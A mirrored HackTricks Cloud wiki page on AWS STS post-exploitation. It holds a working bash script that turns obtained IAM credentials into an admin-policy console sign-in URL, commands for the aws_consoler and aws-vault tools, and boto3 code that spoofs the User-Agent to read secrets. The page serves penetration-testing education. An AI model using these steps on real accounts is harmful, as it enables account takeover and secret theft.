mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
137 lines
6.2 KiB
Markdown
137 lines
6.2 KiB
Markdown
# AWS - STS Post Exploitation
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## STS
|
|
|
|
For more information:
|
|
|
|
{% content-ref url="../aws-services/aws-iam-enum.md" %}
|
|
[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### From IAM Creds to Console
|
|
|
|
If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
|
|
Note that the the user/role must have the permission **`sts:GetFederationToken`**.
|
|
|
|
#### Custom script
|
|
|
|
The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Get federated creds (you must indicate a policy or they won't have any perms)
|
|
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
|
## Don't forget to use [--profile <prof_name>] in the first line if you need to
|
|
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
|
|
|
|
if [ $? -ne 0 ]; then
|
|
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
|
exit $status
|
|
fi
|
|
|
|
# Parse the output
|
|
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
|
|
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
|
|
session_token=$(echo $output | jq -r '.Credentials.SessionToken')
|
|
|
|
# Construct the JSON credentials string
|
|
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")
|
|
|
|
# Define the AWS federation endpoint
|
|
federation_endpoint="https://signin.aws.amazon.com/federation"
|
|
|
|
# Make the HTTP request to get the sign-in token
|
|
resp=$(curl -s "$federation_endpoint" \
|
|
--get \
|
|
--data-urlencode "Action=getSigninToken" \
|
|
--data-urlencode "SessionDuration=43200" \
|
|
--data-urlencode "Session=$json_creds"
|
|
)
|
|
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
|
|
|
|
|
|
|
# Give the URL to login
|
|
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
|
```
|
|
{% endcode %}
|
|
|
|
#### aws\_consoler
|
|
|
|
You can **generate a web console link** with [https://github.com/NetSPI/aws\_consoler](https://github.com/NetSPI/aws_consoler).
|
|
|
|
```bash
|
|
cd /tmp
|
|
python3 -m venv env
|
|
source ./env/bin/activate
|
|
pip install aws-consoler
|
|
aws_consoler [params...] #This will generate a link to login into the console
|
|
```
|
|
|
|
{% hint style="warning" %}
|
|
Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
|
|
{% endhint %}
|
|
|
|
#### aws-vault
|
|
|
|
[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
|
|
|
|
```bash
|
|
aws-vault list
|
|
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
|
aws-vault login jonsmith # Open a browser logged as jonsmith
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
You can also use **aws-vault** to obtain an **browser console session**
|
|
{% endhint %}
|
|
|
|
### **Bypass User-Agent restrictions from Python**
|
|
|
|
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Shared by ex16x41
|
|
# Create a client
|
|
session = boto3.Session(profile_name="lab6")
|
|
client = session.client("secretsmanager", region_name="us-east-1")
|
|
|
|
# Change user agent of the client
|
|
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )
|
|
|
|
# Perform the action
|
|
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|